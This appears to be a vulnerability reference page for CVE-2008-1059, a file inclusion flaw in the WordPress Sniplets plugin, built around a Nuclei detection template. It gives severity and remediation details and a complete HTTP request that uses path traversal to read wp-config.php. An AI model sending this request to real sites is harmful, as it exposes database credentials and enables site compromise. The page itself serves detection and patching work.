🔙 목록으로 돌아가기

CVE-2008-1059: WordPress Sniplets 1.1.2 - Local File Inclusion

TitleWordPress Sniplets 1.1.2 - Local File Inclusion
AuthordhiyaneshDK
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.
RemediationUpdate WordPress Sniplets to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.
CVSS Score7.5
EPSS Score0.00265
CVE IDCVE-2008-1059
CWE IDCWE-94
Tags cve2008 cve lfi wordpress wp-plugin wp sniplets edb wpscan vuln

🔍 Vulnerability Description

PHP remote file inclusion vulnerability in modules/syntax_highlight.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter.

🌐 HTTP Request

GET /wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2008/CVE-2008-1059.yaml

🦈 Packet Capture: ⬇️ Download cve-2008-1059.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A